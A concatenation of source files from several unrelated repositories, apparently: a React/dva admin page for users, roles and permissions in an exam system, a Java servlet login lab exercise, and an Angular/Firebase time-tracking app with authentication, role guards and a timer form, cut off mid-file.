this.props.dispatch({
type: 'add/identity',
payload: {
'identity_text': this.state.identity
}
})
}
}
views = (item, index) => {
this.setState({
test: item,
id: index
})
}
apis = () => {
this.props.dispatch({
type: 'add/api',
payload: {
'api_authority_text': this.state.text,
'api_authority_url': this.state.url,
'api_authority_method': this.state.mehtod
}
})
}
sures = () => {
this.props.dispatch({
type: 'add/views',
payload: {
'view_authority_text': this.state.test,
'view_id': this.state.id
}
})
}
authority = (item) => {
this.setState({
apiauthorityid: item
})
}
ids = (id) => {
this.setState({
identityid: id
})
}
set = () => {
this.props.dispatch({
type: 'add/permissions',
payload: {
'identity_id': this.state.identityid,
'api_authority_id': this.state.apiauthorityid
}
})
}
viewpermissions = (item) => {
this.setState({
identityids: item
})
}
viewpermission = (item) => {
this.setState({
view_authority_id: item
})
}
viewid = () => {
this.props.dispatch({
type: 'add/setup',
payload: {
'identity_id': this.state.identityids,
'view_authority_id': this.state.view_authority_id
}
})
}
componentDidMount() {
this.props.dispatch({
type: 'add/exhibition'
})
this.props.dispatch({
type: 'add/authoritys'
})
this.props.dispatch({
type: 'add/apiauthoritys'
})
}
render() {
let { user, activeIndex, iconLoading, name, pwd, identity, text, url, mehtod } = this.state
const { exhibitions, thority, auth } = this.props;
return (
<div className={styles.wrap}>
{/* 添加用户 */}
<div className={styles.user}>
<div className={styles.add}>
{
user.map((item, index) => {
return (<div key={index} className={+ activeIndex === index ? styles.active : ''} onClick={() => {
this.click(index)
}}>{item.add1}</div>)
})
}
</div>
{
this.state.show && <div >
<form className={styles.ipt}>
<input type="text" value={name} onChange={(e) => {
this.names(e)
}} placeholder='请输入用户名' />
</form>
<div className={styles.ipt}>
<input type="text" value={pwd} onChange={(e) => {
this.pwds(e)
}} placeholder='请输入密码' />
</div>
<div>
<Select
className={styles.option}
defaultValue='请选择身份id'
onChange={this.handleProvinceChange}
>
{exhibitions.map(province => <Option key={province.identity_text} onClick={() => {
this.text(province.identity_text)
}}>{province.identity_text}</Option>)}
</Select>
</div>
<div className={styles.btn}>
<Button type="primary" onClick={this.LoginMines.bind(this)}>确定</Button>
<Button onClick={this.reset}>重置</Button>
</div>
</div>
}
{
this.state.isshow && <div>
<div>
<Select
style={{ width: 140, marginLeft: 20, marginTop: 8 }}
defaultValue='请选择身份id'
onChange={this.handleProvinceChange}
>
{exhibitions.map(province => <Option key={province.identity_text}>{province.identity_text}</Option>)}
</Select>
</div>
<form className={styles.ipt}>
<input type="text" value={name} onChange={(e) => {
this.names(e)
}} placeholder='请输入用户名' />
</form>
<div className={styles.ipt}>
<input type="text" value={pwd} onChange={(e) => {
this.pwds(e)
}} placeholder='请输入密码' />
</div>
<div>
<Select
style={{ width: 140, marginLeft: 20, marginTop: 8 }}
defaultValue='请选择身份id'
onChange={this.handleProvinceChange}
>
{exhibitions.map(province => <Option key={province.identity_text}>{province.identity_text}</Option>)}
</Select>
</div>
<div className={styles.btn}>
<Button type="primary" style={{ width: 140, marginLeft: 20, marginTop: 8 }} onClick={this.update.bind(this)}>确定</Button>
<Button style={{ marginLeft: 10 }}>重置</Button>
</div>
</div>
}
</div>
{/* 添加身份 */}
<div className={styles.user}>
<div className={styles.Addidentity}>
<p >添加身份</p>
</div>
<form className={styles.ipt}>
<input type="text" value={identity} onChange={(e) => {
this.ident(e)
}} placeholder='请输入身份名称' />
</form>
<div className={styles.btn}>
<Button type="primary" onClick={this.sure.bind(this)}>确定</Button>
<Button onClick={this.resets}>重置</Button>
</div>
</div>
{/* 添加api接口权限 */}
<div className={styles.user}>
<div className={styles.Interfacepermissions}>
<p>添加api接口权限</p>
</div>
<div className={styles.ipt}>
<input type="text" value={text} onChange={(e) => {
this.texts(e)
}} placeholder='请输入api接口权限名称' />
</div>
<div className={styles.ipt}>
<input type="text" value={url} onChange={(e) => {
this.urls(e)
}} placeholder='请输入api接口权限url' />
</div>
<div className={styles.ipt}>
<input type="text" value={mehtod} onChange={(e) => {
this.mehtods(e)
}} placeholder='请输入api接口权限方法' />
</div>
<div className={styles.btn}>
<Button type="primary" loading={iconLoading} onClick={this.apis.bind(this)}>确定</Button>
<Button onClick={this.rese}>重置</Button>
</div>
</div>
{/* 添加视图接口权限 */}
<div className={styles.user}>
<div className={styles.Interfacepermissions}>
<p>添加视图接口权限</p>
</div>
<div className={styles.select}>
<Select
className={styles.option}
defaultValue='请选择已有视图'
onChange={this.handleProvinceChange}
>
{thority.map((province, index) => <Option key={province.view_authority_text} onClick={() => {
this.views(province.view_authority_text, province.view_id)
}}>{province.view_authority_text}</Option>)}
</Select>
</div>
<div className={styles.btn}>
<Button type="primary" loading={iconLoading} onClick={this.sures.bind(this)}>确定</Button>
<Button>重置</Button>
</div>
</div>
{/* 给身份设置api接口权限 */}
<div className={styles.user}>
<div className={styles.Interfacepermissions}>
<p>给身份设置api接口权限</p>
</div>
<div className={styles.select}>
<Select
className={styles.option}
defaultValue='请选择身份id'
onChange={this.handleProvinceChange}
>
{exhibitions.map(province => <Option key={province.identity_text} onClick={() => {
this.ids(province.identity_text)
}}>{province.identity_text}</Option>)}
</Select>
</div>
<div className={styles.select}>
<Select
className={styles.option}
defaultValue='请选择api接口权限'
onChange={this.handleProvinceChange}
>
{auth.map((province, index) => <Option key={province.api_authority_text} onClick={() => {
this.views(province.api_authority_text, province.api_authority_id)
}}>{province.api_authority_text}</Option>)}
</Select>
</div>
<div className={styles.btn}>
<Button type="primary" loading={iconLoading} onClick={this.set.bind(this)}>确定</Button>
<Button>重置</Button>
</div>
</div>
{/* 给身份设置视图权限 */}
<div className={styles.user}>
<div className={styles.Interfacepermissions}>
<p>给身份设置视图权限</p>
</div>
<div className={styles.select}>
<Select
className={styles.option}
defaultValue='请选择身份id'
onChange={this.handleProvinceChange}
>
{exhibitions.map(province => <Option key={province.identity_text} onClick={() => {
this.viewpermission(province.identity_text)
}}>{province.identity_text}</Option>)}
</Select>
</div>
<div className={styles.select}>
<Select
className={styles.option}
defaultValue='请选择视图权限id'
onChange={this.handleProvinceChange}
>
{thority.map((province, index) => <Option key={province.view_authority_text} onClick={() => {
this.views(province.view_authority_text, province.view_id)
}}>{province.view_authority_text}</Option>)}
</Select>
</div>
<div className={styles.btn}>
<Button type="primary" loading={iconLoading} onClick={this.viewid.bind(this)}>确定</Button>
<Button>重置</Button>
</div>
</div>
</div>
)
}
}
const mapStateToProps = (state) => state.add
export default connect(mapStateToProps)(AddUser)
<file_sep>import { add, identity, update, apt, view, permissions, setup, exhibition, user, authority, apiauthority } from '../services/add.js'
import { message } from 'antd'
export default {
namespace: 'add',
state: {
exhibitions: [],
users: [],
thority: [],
auth: []
},
subscriptions: {
setup({ dispatch, history }) { // eslint-disable-line
},
},
effects: {
*addUser(action, { call, put }) { // eslint-disable-line
const t = yield call(add, action.payload);
yield put({ type: 'save', action });
console.log(t)
if (t.code === 0) {
message.error(t.msg);
} else {
message.error(t.msg);
}
},
*updates(action, { call, put }) {
yield call(update, action.payload)
},
*identity(action, { call, put }) {
yield call(identity, action.payload)
},
*api(action, { call, put }) {
yield call(apt, action.payload)
},
*views(action, { call, put }) {
yield call(view, action.payload)
},
*permissions(action, { call, put }) {
yield call(permissions, action.payload)
},
*setup(action, { call, put }) {
yield call(setup, action.payload)
},
*exhibition(action, { call, put }) {
const exhibitions = yield call(exhibition)
yield put({ type: 'save', exhibitions: exhibitions.data })
},
*user(action, { call, put }) {
const use = yield call(user)
yield put({ type: 'users', users: use.data })
},
*authoritys(action, { call, put }) {
const anto = yield call(authority)
yield put({ type: 'thout', thority: anto.data })
},
*apiauthoritys(action, { call, put }) {
const apis = yield call(apiauthority)
yield put({ type: 'ap', auth: apis.data })
},
},
reducers: {
save(state, action) {
return { ...state, ...action };
},
users(state, action) {
return { ...state, ...action };
},
thout(state, action) {
return { ...state, ...action };
},
ap(state, action) {
return { ...state, ...action };
},
users(state, action) {
return { ...state, ...action };
}
},
};
<file_sep>import React from 'react'
import styles from '../style.less'
import {
Tag
} from 'antd';
class DetailLeft extends React.Component {
render() {
let {conditionclasstype}=this.props
let conditionclasstypes=conditionclasstype.length&&conditionclasstype[0]
return (
<div className={styles.left}>
<div>出题人:<span>{conditionclasstypes.user_name}</span></div>
<div>题目信息</div>
<div style={{ marginBottom: '10px' }}>
<Tag color="magenta" >{conditionclasstypes.questions_type_text}</Tag>
<Tag color="geekblue" >{conditionclasstypes.subject_text}</Tag>
<Tag color="orange" >{conditionclasstypes.exam_name}</Tag>
</div>
<div>{conditionclasstypes.title}</div>
<div>{conditionclasstypes.questions_stem}</div>
</div>
)
}
}
export default DetailLeft<file_sep>import React from 'react'
import Classify from './Classify/Classify.js'
class questionsClassify extends React.Component {
render() {
return (
<React.Fragment>
<Classify></Classify>
</React.Fragment>
)
}
}
export default questionsClassify | a9177d3109782082d5679ac1ff3f55c437fd6351 | [
"JavaScript"
] | 39 | JavaScript | liuxinyum/kaoshiguanlixitong | fa84c2d17479a95487d31ef9d4ee61cb14b6449a | fcedd5227799af95f6b39dc77f7499dc1ba0a10f |
refs/heads/master | <repo_name>AbigailSJames/Week5Lab<file_sep>/src/java/servlets/LoginServlet.java
package servlets;
import java.io.IOException;
import java.io.PrintWriter;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
/**
*
* @author 818736
*/
public class LoginServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
HttpSession session = request.getSession();
String action = request.getParameter("action");
if (action!=null && action.equals("logout")){
session.invalidate();
session = request.getSession();
getServletContext().getRequestDispatcher("/WEB-INF/login.jsp").forward(request, response);
}
{
}
getServletContext().getRequestDispatcher("/WEB-INF/login.jsp").forward(request, response);
}
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
HttpSession session = request.getSession();
String username = request.getParameter("username");
String pswd = request.getParameter("pswd");
if (username == null || username.equals("") || pswd == null || pswd.equals("")){
request.setAttribute("username", username);
request.setAttribute("pswd", pswd);
request.setAttribute("invalid", "Please fill out out the username and the password");
getServletContext().getRequestDispatcher("/WEB-INF/login.jsp").forward(request, response);
}
else{
AccountService accserv = new AccountService();
User accservlogin = accserv.login(username, pswd);
if (accservlogin.getPassword() == null ){
session.setAttribute("username" , username);
getServletContext().getRequestDispatcher("/home").forward(request, response);
}
else{
request.setAttribute("username", username);
request.setAttribute("pswd", pswd);
request.setAttribute("invalid", "Incorrect username and password");
getServletContext().getRequestDispatcher("/WEB-INF/login.jsp").forward(request, response);
}
}
}
class AccountService{
public User login(String username, String password){
User accept = new User(username, password);
if(username.equals("abe")&& password.equals("<PASSWORD>")){
accept.setUsername("abe");
accept.setPassword(null);
}
else if(username.equals("barb")&& password.equals("<PASSWORD>")){
accept.setUsername("barb");
accept.setPassword(null);
}
else{
accept.setPassword("incorrect");
}
return accept;
}
}
}
class User{
String username;
String password;
public User(String username, String password){
this.username = username;
this.password = <PASSWORD>;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getPassword() {
return <PASSWORD>;
}
public void setPassword(String password) {
this.password = <PASSWORD>;
}
} | b952287159c81db024a6dac46af50361a12ff2f6 | [
"Java"
] | 1 | Java | AbigailSJames/Week5Lab | fbc68199a60e427cf2f953915dbd2636cbb6c034 | 2bf48ab50871f2671709f1ffa1b5d26a38b98421 |
refs/heads/master | <repo_name>bruteforcecat/minute_tracker<file_sep>/app/app.js
angular.module('MinuteTracker', ['ngRoute', 'ngAnimate'])
.config(['$routeProvider',function($routeProvider){
$routeProvider
.when('/', {
templateUrl: 'app/views/main.html',
controller: 'TrackerController'
})
.when('/stat', {
templateUrl: 'app/views/stat.html',
controller: 'StatController'
})
.otherwise({
redirectTo: '/'
});
}]);
<file_sep>/app/js/controllers/statController.js
angular.module('MinuteTracker')
.controller('StatController', ['$scope', 'activities', function($scope, activities){
$scope.today = new Date();
$scope.activities = activities.getAll();
}])<file_sep>/app/js/services/activities.js
angular.module('MinuteTracker')
.factory('activities', ['$rootScope', '$interval', 'timer', function($rootScope, $interval, timer){
var activities = [];
var currentActivity;
var intervalPromise;
var Activity = function(name, color, duration){
this.name = name;
this.color = color;
this.duration = duration;
}
Activity.prototype.getDurationPct = function(){
return (this.duration / activities.reduce(function(sum, num){
return sum+ num.duration
},0))*100
}
activities.push(new Activity('Reading', 'peace', 0))
activities.push(new Activity('Web surfing', 'info', 0))
activities.push(new Activity('Writing code', 'success', 0))
activities.push(new Activity('Hea-ing', 'danger', 0))
return {
getAll: function(){
return activities;
},
getCurrent: function(){
return currentActivity ;
},
setActive: function(activity){
if ($rootScope.currentActivity != activity){
timer.start();
}
// $rootScope.$broadcast('timer-stop');
// $rootScope.$broadcast('timer-start');
if (intervalPromise) {
$interval.cancel(intervalPromise);
}
intervalPromise = $interval(function(){
activity.duration +=1;
}, 1000);
}
};
}])<file_sep>/app/js/controllers/trackerController.js
angular.module('MinuteTracker')
.controller('TrackerController', ['$scope', '$rootScope', 'activities', 'timer', function($scope, $rootScope, activities, timer){
$scope.activities = activities.getAll();
$scope.timer = timer;
$scope.setCurrentActivity = function(activity){
activities.setActive(activity);
$rootScope.currentActivity = activity;
};
}])<file_sep>/app/js/services/timer.js
angular.module('MinuteTracker')
.factory('timer', ['$rootScope', '$interval', function($rootScope, $interval){
var timer = {
startTime: null,
start: function(){
this.startTime = Date.now();
},
getTime: function(){
if (this.startTime)
return Math.floor((Date.now() - this.startTime)/1000)
else
return 0;
}
};
return timer ;
}]) | 9734c1014153e93901df19b54a44c49c71dfaf83 | [
"JavaScript"
] | 5 | JavaScript | bruteforcecat/minute_tracker | ba84821a02ac28375a5cc6956943fb14e1b40848 | 9249068f0f956a20f4f65484786a0adaac2f338a |
refs/heads/master | <repo_name>khuseinbaev/timetracer<file_sep>/src/app/modules/main/timer/timer.component.ts
import {Component, OnInit} from '@angular/core';
import {FormBuilder, FormGroup, Validators} from '@angular/forms';
import {MatTableDataSource} from '@angular/material';
import {MatDialog, MatDialogConfig} from '@angular/material/dialog';
import {AngularFirestore} from '@angular/fire/firestore';
import {Timer} from '../../../core/models/timer';
import {AuthService} from '../../../core/auth/auth.service';
import {DialogComponent} from './dialog/dialog.component';
import {InteractService} from '../../../core/service/interact.service';
@Component({
selector: 'app-timer',
templateUrl: './timer.component.html',
styleUrls: ['./timer.component.scss']
})
export class TimerComponent implements OnInit {
addForm: FormGroup;
projects: any[] = [];
selected: string;
timers: any[] = [];
dataSource = new MatTableDataSource<Timer>();
displayedColumns: string[] = ['work', 'project', 'datetime'];
dataTableVisible = false;
constructor(private formBuilder: FormBuilder,
private matDialog: MatDialog,
private afs: AngularFirestore,
private authService: AuthService,
private user: InteractService) {
this.refresh();
}
ngOnInit() {
this.addForm = this.formBuilder.group({
work: ['', Validators.required],
project: ['', Validators.required],
datetime: ['', Validators.required]
});
this.getData('projects').then();
this.getData('timers').then();
}
addTimer(): void {
if (this.addForm.invalid) {
return;
}
const data = {
work: this.addForm.value.work,
project: this.addForm.value.project,
datetime: this.reFormatDate(this.addForm.value.datetime[0]) + ' ~ ' + this.reFormatDate(this.addForm.value.datetime[1])
};
this.setData(data, 'timers').then();
this.dataTableVisible = true;
this.timers.push(data);
this.refresh();
}
addProject(value: any): void {
if (value === undefined) {
return;
}
this.setData(value, 'projects').then();
this.projects.push(value);
this.selected = value;
}
async setData(data, path) {
let dataToDB;
switch (path) {
case 'projects': {
dataToDB = JSON.parse('{"' + data + '":true}');
break;
}
case 'timers': {
dataToDB = JSON.parse('{"' + (new Date().toISOString()) + '":' + JSON.stringify(data) + '}');
break;
}
}
await this.afs.collection(path).doc(this.user.getUser().uid).set(dataToDB, {merge: true});
}
async getData(path) {
const collect = await this.afs.collection(path).doc(this.user.getUser().uid);
return collect.get().subscribe(doc => {
if (doc.exists) {
switch (path) {
case 'projects': {
this.projects = Object.keys(doc.data());
break;
}
case 'timers': {
this.dataTableVisible = true;
this.timers = Object.values(doc.data());
this.refresh();
break;
}
}
}
});
}
refresh(): void {
this.dataSource.data = this.timers.reverse();
}
reFormatDate(str: string): string {
const date = new Date(str);
const day = date.getDate();
const monthIndex = date.getMonth();
const year = date.getFullYear();
const minutes = date.getMinutes();
const hours = date.getHours();
const myFormattedDate = day + '/' + (monthIndex + 1) + '/' + year + ' ' + hours + ':' + minutes;
if (year === 1970) {
return '';
} else {
return myFormattedDate;
}
}
openDialog() {
const dialogConfig = new MatDialogConfig();
dialogConfig.data = '';
const dialogRef = this.matDialog.open(DialogComponent, dialogConfig);
dialogRef.afterClosed().subscribe(value => {
this.addProject(value);
});
}
}
<file_sep>/src/app/core/models/user.ts
import {Roles} from './role';
export class User {
uid: string;
roles: Roles;
displayName: string;
photoURL: string;
providerId: string;
email: string;
phoneNumber: string;
creationTime: string;
lastSignInTime: string;
emailVerified: boolean;
}
<file_sep>/src/app/modules/auth/register/register.component.ts
import {Component, OnInit} from '@angular/core';
import {FormBuilder, FormGroup, Validators} from '@angular/forms';
import {Router} from '@angular/router';
import {AuthService} from '../../../core/auth/auth.service';
import {InteractService} from '../../../core/service/interact.service';
@Component({
selector: 'app-register',
templateUrl: './register.component.html',
styleUrls: ['./register.component.scss']
})
export class RegisterComponent implements OnInit {
registerForm: FormGroup;
hide = true;
constructor(private authService: AuthService,
private router: Router,
private formBuilder: FormBuilder,
private data: InteractService) {
}
ngOnInit() {
this.registerForm = this.formBuilder.group({
email: ['', Validators.compose([Validators.required, Validators.email])],
password: ['', Validators.compose([Validators.required, Validators.minLength(6)])]
});
this.data.setTitle(['Create new Account', 'Already have an account? Sign In!', 'login']);
}
get formControls() {
return this.registerForm.controls;
}
register() {
if (this.registerForm.invalid) {
return;
}
this.authService.emailRegister(this.registerForm.value.email, this.registerForm.value.password).then();
}
}
<file_sep>/src/app/core/models/timer.ts
export interface Timer {
work: string;
project: string;
datetime: string;
}
<file_sep>/src/app/modules/main/main.module.ts
import {NgModule} from '@angular/core';
import {CommonModule} from '@angular/common';
import {RouterModule} from '@angular/router';
import {OwlDateTimeModule, OwlNativeDateTimeModule} from 'ng-pick-datetime';
import {FormsModule, ReactiveFormsModule} from '@angular/forms';
import {MatDialogModule} from '@angular/material/dialog';
import {
MatButtonModule,
MatCardModule,
MatGridListModule,
MatIconModule,
MatInputModule,
MatListModule,
MatMenuModule,
MatSelectModule,
MatSidenavModule,
MatToolbarModule,
MatCheckboxModule
} from '@angular/material';
import {MatTableModule} from '@angular/material/table';
import {MainComponent} from './main.component';
import {TimerComponent} from './timer/timer.component';
import {MAIN_ROUTES} from './main-routes';
import {DialogComponent} from './timer/dialog/dialog.component';
import {UsersComponent } from './users/users.component';
@NgModule({
declarations: [
MainComponent,
TimerComponent,
DialogComponent,
UsersComponent
],
imports: [
CommonModule,
MatButtonModule,
MatCardModule,
MatIconModule,
MatInputModule,
MatListModule,
MatMenuModule,
MatSidenavModule,
MatToolbarModule,
RouterModule.forChild(MAIN_ROUTES),
MatGridListModule,
MatSelectModule,
OwlDateTimeModule,
OwlNativeDateTimeModule,
MatTableModule,
FormsModule,
ReactiveFormsModule.withConfig({warnOnNgModelWithFormControl: 'never'}),
MatDialogModule,
MatCheckboxModule
],
entryComponents: [DialogComponent]
})
export class MainModule {
}
<file_sep>/src/app/modules/main/timer/dialog/dialog.component.ts
import {Component, Inject, OnInit} from '@angular/core';
import {MAT_DIALOG_DATA, MatDialogRef} from '@angular/material/dialog';
import {FormBuilder, FormGroup, Validators} from '@angular/forms';
@Component({
selector: 'app-dialog',
templateUrl: './dialog.component.html',
styleUrls: ['./dialog.component.scss']
})
export class DialogComponent implements OnInit {
dialogForm: FormGroup;
constructor(public dialogRef: MatDialogRef<DialogComponent>,
@Inject(MAT_DIALOG_DATA) public data: any,
private formBuilder: FormBuilder) {
}
ngOnInit() {
this.dialogForm = this.formBuilder.group({
name: ['', Validators.required]
});
}
close() {
this.dialogRef.close();
}
setValue() {
this.data = this.dialogForm.value.name;
}
}
<file_sep>/src/app/modules/auth/verify-email/verify-email.component.ts
import {Component, OnInit} from '@angular/core';
import {FormBuilder, FormGroup, Validators} from '@angular/forms';
import {Router} from '@angular/router';
import {AuthService} from '../../../core/auth/auth.service';
import {InteractService} from '../../../core/service/interact.service';
@Component({
selector: 'app-verify-email',
templateUrl: './verify-email.component.html',
styleUrls: ['./verify-email.component.scss']
})
export class VerifyEmailComponent implements OnInit {
verifyForm: FormGroup;
constructor(private authService: AuthService,
private router: Router,
private formBuilder: FormBuilder,
private data: InteractService) {
}
ngOnInit() {
this.verifyForm = this.formBuilder.group({
email: ['', Validators.compose([Validators.required, Validators.email])]
});
this.data.setTitle(['Verify your email', 'Already have an account? Sign In!', 'login']);
}
sendAgain() {
this.authService.sendEmailVerification();
}
}
<file_sep>/src/app/modules/auth/auth.component.ts
import {AfterViewChecked, ChangeDetectorRef, Component} from '@angular/core';
import {Router} from '@angular/router';
import {AuthService} from '../../core/auth/auth.service';
import {InteractService} from '../../core/service/interact.service';
@Component({
selector: 'app-login',
templateUrl: './auth.component.html',
styleUrls: ['./auth.component.scss']
})
export class AuthComponent implements AfterViewChecked {
title: string;
constructor(public authService: AuthService,
private router: Router,
public data: InteractService,
private changeDetector: ChangeDetectorRef) {
this.data.setTitle(['Login Into Your Account', 'Don`t have an account? Sign Up!', 'register']);
if (this.router.url === '/auth') {
this.router.navigateByUrl('/auth/login').then();
}
}
ngAfterViewChecked() {
this.changeDetector.detectChanges();
}
}
<file_sep>/src/app/modules/main/main.component.ts
import {Component, OnInit} from '@angular/core';
import {Router} from '@angular/router';
import {AuthService} from '../../core/auth/auth.service';
import {InteractService} from '../../core/service/interact.service';
@Component({
selector: 'app-main',
templateUrl: './main.component.html',
styleUrls: ['./main.component.scss']
})
export class MainComponent implements OnInit {
constructor(private authService: AuthService,
private router: Router,
public user: InteractService) {
}
ngOnInit() {
this.router.navigateByUrl('/main/timer').then();
}
logout() {
this.authService.signOut().then();
}
}
<file_sep>/src/app/app-routes.ts
import {Routes} from '@angular/router';
export const APP_ROUTES: Routes = [
{
path: '',
loadChildren: () => import('./modules/main/main.module')
.then(m => m.MainModule)
},
{
path: 'auth',
loadChildren: () => import('./modules/auth/auth.module')
.then(m => m.AuthModule)
},
{
path: '**',
redirectTo: '/'
}
];
<file_sep>/src/app/core/auth/auth.service.ts
import {Injectable, NgZone} from '@angular/core';
import {Router} from '@angular/router';
import {AngularFireAuth} from '@angular/fire/auth';
import {AngularFirestore, AngularFirestoreDocument} from '@angular/fire/firestore';
import * as firebase from 'firebase/app';
import {Observable} from 'rxjs/Observable';
import {of} from 'rxjs';
import 'rxjs/add/operator/switchMap';
import {User} from '../models/user';
import {InteractService} from '../service/interact.service';
@Injectable()
export class AuthService {
user: Observable<User>;
constructor(private afAuth: AngularFireAuth,
private afs: AngularFirestore,
private router: Router,
private ngZone: NgZone,
private roles: InteractService) {
//// Get auth data, then get firestore user document || null
this.user = this.afAuth.authState
.switchMap(user => {
if (user) {
const userInDB = this.afs.doc<User>('users/' + user.uid).valueChanges();
userInDB.subscribe(data => {
roles.setUser(data);
});
return userInDB;
} else {
return of(null);
}
});
}
async googleLogin() {
const provider = await new firebase.auth.GoogleAuthProvider();
return await this.oAuthLogin(provider);
}
async facebookLogin() {
const provider = await new firebase.auth.FacebookAuthProvider();
return await this.oAuthLogin(provider);
}
async microsoftLogin() {
const provider = await new firebase.auth.OAuthProvider('microsoft.com');
return await this.oAuthLogin(provider);
}
async githubLogin() {
const provider = await new firebase.auth.GithubAuthProvider();
return await this.oAuthLogin(provider);
}
async emailLogin(email: string, password: string) {
const provider = await this.afAuth.auth.signInWithEmailAndPassword(email, password).then((credential) => {
this.updateUserData(credential.user).then(() => {
this.ngZone.run(() => this.router.navigateByUrl('main')).then();
});
});
}
async emailRegister(email: string, password: string) {
const provider = await this.afAuth.auth.createUserWithEmailAndPassword(email, password);
this.sendEmailVerification();
}
sendEmailVerification() {
this.afAuth.auth.currentUser.sendEmailVerification().then();
this.ngZone.run(() => this.router.navigateByUrl('auth/verify-email')).then();
}
sendPasswordResetEmail(passwordResetEmail: string): any {
this.afAuth.auth.sendPasswordResetEmail(passwordResetEmail).then();
}
async signOut() {
await this.afAuth.auth.signOut().then(() => {
this.ngZone.run(() => this.router.navigateByUrl('auth')).then();
});
}
private async oAuthLogin(provider) {
return await this.afAuth.auth.signInWithPopup(provider)
.then((credential) => {
this.updateUserData(credential.user).then(() => {
this.ngZone.run(() => this.router.navigateByUrl('main')).then();
});
});
}
///// Abilities and Roles Authorizations
private async updateUserData(user) {
// Sets user data to firestore on login
const userRef: AngularFirestoreDocument<any> = this.afs.doc('users/' + user.uid);
const data: User = {
uid: user.uid,
roles: {
roleUser: true
},
displayName: user.providerData[0].displayName,
photoURL: user.providerData[0].photoURL,
providerId: user.providerData[0].providerId,
email: user.providerData[0].email,
phoneNumber: user.providerData[0].phoneNumber,
creationTime: user.metadata.creationTime,
lastSignInTime: user.metadata.lastSignInTime,
emailVerified: user.emailVerified,
};
return await userRef.set(data, {merge: true}); // without {merge:true} it will overwrite nor update.
}
async changeAdmin(uid, bool: boolean) {
const userRef: AngularFirestoreDocument<any> = this.afs.doc('users/' + uid);
const data: { roles: { roleAdmin: boolean; roleUser: boolean } } = {
roles: {
roleUser: true,
roleAdmin: bool
}
};
return await userRef.set(data, {merge: true});
}
}
/***
///// Role-based Authorization //////
canRead(user: User): boolean {
const allowed = ['roleUser', 'roleAdmin'];
return this.checkAuthorization(user, allowed);
}
canWrite(user: User): boolean {
const allowed = ['roleAdmin'];
return this.checkAuthorization(user, allowed);
}
// determines if user has matching role
private checkAuthorization(user: User, allowedRoles: string[]): boolean {
if (!user) {
return false;
}
for (const role of allowedRoles) {
if (user.roles[role]) {
return true;
}
}
return false;
}
service firebase.storage {
match /b/{bucket}/o {
match /{allPaths=**} {
allow read, write: if request.auth != null;
}
}
}
*/
<file_sep>/src/app/modules/main/main-routes.ts
import {Routes} from '@angular/router';
import {MainComponent} from './main.component';
import {TimerComponent} from './timer/timer.component';
import {UsersComponent} from './users/users.component';
import {AuthGuard} from '../../core/auth/auth.guard';
import {Role} from '../../core/models/role';
export const MAIN_ROUTES: Routes = [
{
path: 'main',
component: MainComponent,
canActivate: [AuthGuard],
children: [
{path: 'timer', component: TimerComponent},
{path: 'users',
component: UsersComponent,
canActivate: [AuthGuard],
data: {
roles: [Role.roleAdmin]
}
}
]
},
{path: '', pathMatch: 'full', redirectTo: 'main'},
];
<file_sep>/src/app/modules/auth/auth-routes.ts
import {Routes} from '@angular/router';
import {AuthComponent} from './auth.component';
import {LoginComponent} from './login/login.component';
import {RegisterComponent} from './register/register.component';
import {ForgotPasswordComponent} from './forgot-password/forgot-password.component';
import {VerifyEmailComponent} from './verify-email/verify-email.component';
export const LOGIN_ROUTES: Routes = [
// {path: 'auth', pathMatch: 'full', redirectTo: 'auth/login'},
{
path: 'auth',
component: AuthComponent,
children: [
{path: 'login', component: LoginComponent},
{path: 'register', component: RegisterComponent},
{path: 'forgot-password', component: ForgotPasswordComponent},
{path: 'verify-email', component: VerifyEmailComponent}
]
},
{path: '', pathMatch: 'full', redirectTo: 'auth'},
];
<file_sep>/src/app/core/auth/auth-admin.guard.ts
/***
import {Injectable} from '@angular/core';
import {ActivatedRouteSnapshot, CanActivate, Router, RouterStateSnapshot} from '@angular/router';
import {Observable} from 'rxjs/Observable';
import {AuthService} from './auth.service';
import {map, take, tap} from 'rxjs/operators';
@Injectable({
providedIn: 'root'
})
export class AuthAdminGuard implements CanActivate {
constructor(private router: Router,
private authService: AuthService
) {
}
canActivate(next: ActivatedRouteSnapshot, state: RouterStateSnapshot): Observable<boolean> {
return this.authService.user.pipe(
take(1),
map(user => user && this.authService.canWrite(user)),
tap(isAdmin => {
if (!isAdmin) {
console.error('Access denied - Admins only');
}
})
);
}
}
*/
<file_sep>/src/app/core/auth/auth.guard.ts
import {Injectable} from '@angular/core';
import {ActivatedRouteSnapshot, CanActivate, Router, RouterStateSnapshot} from '@angular/router';
import {Observable} from 'rxjs/Observable';
import {AuthService} from './auth.service';
import {map, take, tap} from 'rxjs/operators';
@Injectable({
providedIn: 'root'
})
export class AuthGuard implements CanActivate {
constructor(private router: Router,
private authService: AuthService
) {
}
canActivate(next: ActivatedRouteSnapshot, state: RouterStateSnapshot): Observable<boolean> {
return this.authService.user.pipe(
take(1),
map(user => {
if (!user) {
return false;
}
if (!user.emailVerified && user.providerId === 'password') {
this.router.navigate(['auth/verify-email']).then();
}
if (next.data.roles) {
for (const role of next.data.roles) {
if (user.roles[role]) {
return true;
}
}
return false;
} else {
return user.roles.roleUser;
}
}),
tap(result => {
if (!result) {
this.router.navigate(['auth/login']).then();
}
})
);
}
}
<file_sep>/src/app/core/models/role.ts
export class Roles {
roleUser: boolean;
roleAdmin?: boolean;
}
export enum Role {
roleUser = 'roleUser',
roleAdmin = 'roleAdmin'
}
<file_sep>/src/app/modules/auth/login/login.component.ts
import {Component, OnInit} from '@angular/core';
import {FormBuilder, FormGroup, Validators} from '@angular/forms';
import {Router} from '@angular/router';
import {AuthService} from '../../../core/auth/auth.service';
import {InteractService} from '../../../core/service/interact.service';
@Component({
selector: 'app-login',
templateUrl: './login.component.html',
styleUrls: ['./login.component.scss']
})
export class LoginComponent implements OnInit {
loginForm: FormGroup;
hide = true;
constructor(private authService: AuthService,
private router: Router,
private formBuilder: FormBuilder,
private data: InteractService) {
}
ngOnInit() {
this.loginForm = this.formBuilder.group({
email: ['', Validators.compose([Validators.required, Validators.email])],
password: ['', Validators.compose([Validators.required, Validators.minLength(6)])]
});
